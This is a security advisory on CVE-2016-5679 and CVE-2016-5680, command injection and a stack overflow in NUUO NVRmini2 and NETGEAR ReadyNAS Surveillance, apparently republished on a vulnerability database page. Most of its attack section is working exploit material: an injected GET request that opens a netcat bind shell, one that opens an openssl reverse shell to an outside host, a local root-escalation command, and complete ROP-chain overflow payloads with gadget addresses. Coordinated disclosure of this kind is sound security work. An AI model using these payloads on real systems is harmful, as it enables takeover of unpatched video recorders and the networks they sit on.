Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";;#
Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23
NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
7
Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.
Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command);
For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault.
0 0x61616160 in ?? ()
(gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb)
The request can be sent by an HTTP GET or POST method.
A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992
On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002
Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y
An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).
Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.
0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}
Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26
Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.
Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).
The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}
Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26
Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.
Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts.
Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT.
References: [1] https://www.kb.cert.org/vuls/id/856152
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business >>
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
